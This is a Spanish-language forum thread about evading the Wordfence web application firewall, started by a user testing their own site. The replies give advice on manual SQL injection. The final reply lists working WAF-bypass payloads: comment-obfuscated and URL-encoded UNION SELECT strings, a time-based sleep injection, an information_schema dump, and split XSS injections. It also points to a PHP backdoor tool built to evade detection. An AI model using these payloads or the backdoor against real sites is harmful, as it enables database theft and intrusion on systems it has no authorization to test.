Evasión de WAF.

Iniciado por dairus20, 16 Enero 2021, 00:21 AM

0 Miembros y 1 Visitante están viendo este tema.

dairus20

Buenas noches, tengo una duda que no he podido solventar en ningún foro ni encontrar ninguna documentación en internet sobre esto:

Estoy tratando de probar en mi sitio web protegido por un waf llamado Wordfence, el tema es que funciona adecuadamente contra cualquier tipo de intento de SQL, tanto con Sqlmap como con otras herramientas, incluido métodos manuales.

El tema es que también estoy aprendiendo sobre método de evasión como los tampers de sqlmap, pero tengo dudas, he probado todos los tampers juntos para mysql como genéricos, pero todo lo bloquea.

¿es correcto utilizar todos los tampers a la vez, o es mejor usarlos de forma independente uno a uno?-

¿Se pueden conseguir tampers privados, como localizar debilidades en mi waf?.

O me dicen donde debo buscar para aprender más sobre esto.

Muchas gracias.

WHK

#1
Hola, yo he logrado bypasear en varias ocasiones el wordfence, pero no uso herramientas como sqlmap ni burpsuite, todas las inyecicones las hago manualmente, para lograr eso debes aprender bastante sobre php y sql, no hablo de aprender a hacer un select sino sql avanzado como para programar tu propio sitio.

Todo va a depender de como esté construida la consulta sql que necesitas hacer la inyección, no en todos los casos se puede bypasear pero si en la mayoría de las veces. El sqlmap deja demasiadas huellas y hace muchas consultas muy grandes, es muy poco sutil y por eso es tan facil detectarlo, los tamper solo empeoran las cosas, sqlmap trata de ofuscar el código agregandole un monton de cosas adicionales.

Hay que ser sutil, ir de a poco, tener paciencia, estudiar la consulta sql, de preferencia descargarse el plugin y wordpress, instalarlo en local e ir depurando el código para ir observando el comportamiento del plugin y luego ir testeando la inyección en el sitio donde quieres hacer las pruebas.

Si tienes un tiempo restringido para sacar esa inyección probablemente no la saques, necesitarás tener mucha paciencia, leer un poco más de sql e intentar sacar la inyección manualmente sin copiar y pegar de ejemplos, debes entender como se está ejecutando la consulta sql y cual es la mejor opción de lograr lo que necesitas, ya sea bypasear un select o hacer un bind, etc.

Recuerda asegurarte primero que realmente sea una inyección sql y que no sea un falso positivo, porque no necesariamente debe haber una inyección sql si ves un mensaje de error sql.

Saludos.

el-brujo

En github y medium he visto un montón de "trucos" técnicas y ejemplos para hacer un bypass de WAF. También hay varios bypass para el WAF de CloudFLare por ejemplo. Sería muy interesante primero averiguar el WAF que están utilizando. En las cabeceras de las peticiones web suelen añadir el WAF xD

Mejor manual que usar un "tamper". Puedes usar mayúsculas-minúsculas (dudo que funciona jaja) pero codificación URL + comentarios si

WAF Bypassing Strings usando comentarios, Url Encode (encoding)
Illegal mix of Collations ByPass Method

'XOR(if(now()=sysdate(),sleep(5*5),0))OR'


Aquí tienes ejemplos:

Citar+union+select+1,2...+--+-
✖️
+/*!50000union*/+/*!50000select*/+1,2...+--+-
✖️

+/*!50000union%23%0Aselect*/+1,2...+--+-
✔️
+/*!50000uNiOn*/(/*!50000SeLeCt*/+11,22,33....)+--+-

Union select 1,2,3,4,...--
/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4... --


✔️

/*!50000%75%6e%69on*/ %73%65%6cect 1,2,3,4,5--

%75%6e%69on = union
%73%65%6cect = select

%75%6e%69 = uni = url encode
%73%65%6c = sel = url encode


Citar1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

Ejemplos:
https://github.com/Y000o/Payloads_xss_sql_bypass/blob/master/Payloads_xss_sql_bypass.md#sql-injection
https://medium.com/bugbountywriteup/exploiting-error-based-sql-injections-bypassing-restrictions-ed099623cd94
https://hackemall.live/index.php/2020/03/31/akamai-web-application-firewall-bypass-journey-exploiting-google-bigquery-sql-injection-vulnerability/

Lo mismo para evadir (bypass) de XSS

    1st Injection: */</script><!--
    2nd Injection: */.domain)/*xxx
    3rd Injection:*/(document/*xx
    4th Injection: */prompt/*xxxxx
    5th Injection: "><script>/*xss

https://twitter.com/XssPayloads



O sé imaginativo: Por ejemplo usa Bantam, Una herramienta de generación y administración de puerta trasera de PHP con transmisión de carga útil cifrada de extremo a extremo diseñada para evitar los sistemas WAF, IDS, SIEM

https://github.com/gellin/bantam